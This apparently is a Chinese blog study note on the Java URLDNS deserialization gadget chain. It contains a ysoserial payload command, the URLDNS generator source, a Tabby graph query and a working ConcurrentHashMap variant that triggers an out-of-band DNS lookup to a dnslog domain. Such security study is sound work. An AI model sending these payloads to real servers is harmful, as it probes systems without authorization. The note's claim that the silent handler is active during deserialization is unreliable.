Java URLDNS反序列化
前言:Java URLDNS反序列化链学习笔记
复现
ysoserial:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://aaa.sbfh2y.dnslog.cn" > urldns.txt


反序列化过程
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
ysoserial的URLDNS构造
继续来看ysoserial中的URLDNS反序列化是如何构造的?如下代码所示
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
这里我们可以看到反序列化的是HashMap对象,然后键值对存储了一个URL对象,并且通过反射设置该URL对象的hashCode为-1,URLStreamHandler这个类则是用来进行远程访问请求的对象
那么我们这边就直接找到HashMap打断点直接跟,来到HashMap自定义的反序列化的函数readobject,那么这里则会调用它自定义的反序列化函数

往下走来到hash函数的位置,它先是通过默认的反序列化读取了已序列化的对象来获取相对应的主键和值

跟到hash函数中去,来到如下,因为默认的反序列化函数已经调用,所以该加载的都已经加载好了,那么这里的hashCode获取自然也就是-1,让这个为-1就是在反序列化readobject的时候绕过这个if判断来到下面的 hashCode = handler.hashCode(this)中,从而进行触发getHostAddress

跟到handler.hashCode函数中,发现可以的handler开始起作用了

这里的handler我们可以看下,其实就是SilentURLStreamHandler这个类的实例化对象
最终在这里进行了http请求探测,造成了dns带外请求

tabby反序列化链挖掘(2022.9.21)
如果以挖掘反序列化的视角去发现的话,那么我们的sink是URLStreamHandler.getHostAddress,然后source的话肯定就是任意类中的readobject,chain暂时不确定,如下三点所示
source:任意类#readobject
chain:
sink:URLStreamHandler类#getHostAddress
这里查找路径数最短的,也就是4的路径数,如下图所示
match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="getHostAddress" and m1.CLASSNAME="java.net.URLStreamHandler"
call apoc.algo.allSimplePaths(m1,source, "<CALL|ALIAS", 4) yield path
return * limit 10

可以看到存在java.util.concurrent.ConcurrentHashMap#readobject方法能够触发URLStreamHandler类#getHostAddress

这里的话直接跟HashMap的构造其实一样,如下代码所示
package com.zpchcbd.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.concurrent.ConcurrentHashMap;
public class Tabby {
public static void main(String[] args) throws Exception {
String url="http://test.evarl4.dnslog.cn";
URLStreamHandler handler = new SilentURLStreamHandler();
ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
URL u = new URL(null, url, handler); // URL to use as the Key
concurrentHashMap.put(u, url);
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(u, -1);
serialize(concurrentHashMap);
unserialize();
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
触发结果如下图所示


浙公网安备 33010602011771号